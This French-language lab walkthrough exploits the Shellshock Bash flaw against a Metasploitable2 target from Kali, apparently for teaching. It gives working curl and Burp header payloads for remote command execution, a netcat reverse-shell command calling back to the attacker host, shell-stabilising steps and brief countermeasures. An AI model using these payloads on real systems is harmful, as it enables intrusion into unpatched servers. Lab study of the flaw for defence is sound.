Un laboratoire de démonstration moderne et complet pour CVE-2014-6271 (Shellshock), comprenant l'architecture, les étapes d'exploitation, l'utilisation de Burp Suite, les shells inversés, les contre-mesures et une antisèche complète de commandes.
Shellshock (CVE-2014-6271) est l'une des vulnérabilités d'exécution de code à distance les plus influentes jamais découvertes. Cette faille affecte Bash et permet aux attaquants d'exécuter des commandes arbitraires en injectant simplement des payloads conçus dans des variables d'environnement.
Ce guide fournit une démonstration complète et reproductible utilisant :
Il est conçu pour l'enseignement, la recherche, la formation et la sensibilisation générale à la cybersécurité.
| Composant | Rôle | OS | Adresse IP | Services clés |
|---|---|---|---|---|
| Kali Linux | Attaquant | Kali Linux (latest) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Serveur cible vulnérable | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, CGI scripts, Bash |
| Apache mod_cgi | Exécution de scripts | S'exécute sur MSF2 | n/a | Expose Bash via CGI |
| shellshock.sh | Point d'entrée vulnérable | Bash CGI | n/a | Affiche les variables d'environnement |
Cette configuration simple à deux nœuds reflète de nombreux déploiements hérités encore présents dans les systèmes industriels et IoT.
Sur Metasploitable2 :
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Testez le script depuis Kali :
curl http://192.168.1.5/cgi-bin/shellshock.sh
Vous devriez voir les variables d'environnement affichées.
Shellshock se produit lorsque Bash analyse incorrectement des variables d'environnement qui ressemblent à des définitions de fonctions.
Une variable malveillante telle que :
() { :; }; /bin/bash -c "id"
amènera Bash à exécuter la commande après la définition de la fonction — même si la fonction elle-même n'est jamais invoquée.
Les applications CGI sont particulièrement vulnérables car les en-têtes HTTP sont automatiquement transmis aux scripts en tant que variables d'environnement.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
La sortie devrait inclure :
Vulnerable
uid=33(www-data)
Cela confirme l'exécution de code à distance.
Visitez :
http://192.168.1.5/cgi-bin/shellshock.sh
Envoyez la requête au Repeater.
Remplacez l'en-tête User-Agent par :
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Vous devriez voir :
BurpTest
uid=33(www-data)
Burp Suite confirme la vulnérabilité de manière visuelle et éducative.
Démarrez le listener sur Kali :
nc -lvnp 4444
Déclenchez le shell inversé via le script CGI :
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Un shell se connectera en retour à Kali.
À l'intérieur du shell inversé :
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspendre la session :
Ctrl + Z
Sur Kali :
stty raw -echo; fg
Appuyez sur Entrée.
Vous avez désormais :
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
Une visite visuelle des étapes clés de l'attaque.
| Description | Image |
|---|---|
| Scan Nmap + sortie du test Shellshock | ![]() |
| Burp Suite – Requête Shellshock initiale | ![]() |
| Burp Suite – Injection du payload / en-tête | ![]() |
| Shell inversé reçu sur Kali (nc) | ![]() |
Mettez à jour vers une version qui gère correctement l'analyse des fonctions.
Le CGI hérité introduit un risque systémique inutile.
Supprimez les motifs suspects tels que :
() { :; };
Restreignez les permissions de l'utilisateur du serveur web (www-data).
Empêche les shells inversés et l'exfiltration de données.
Les signatures WAF modernes détectent Shellshock immédiatement.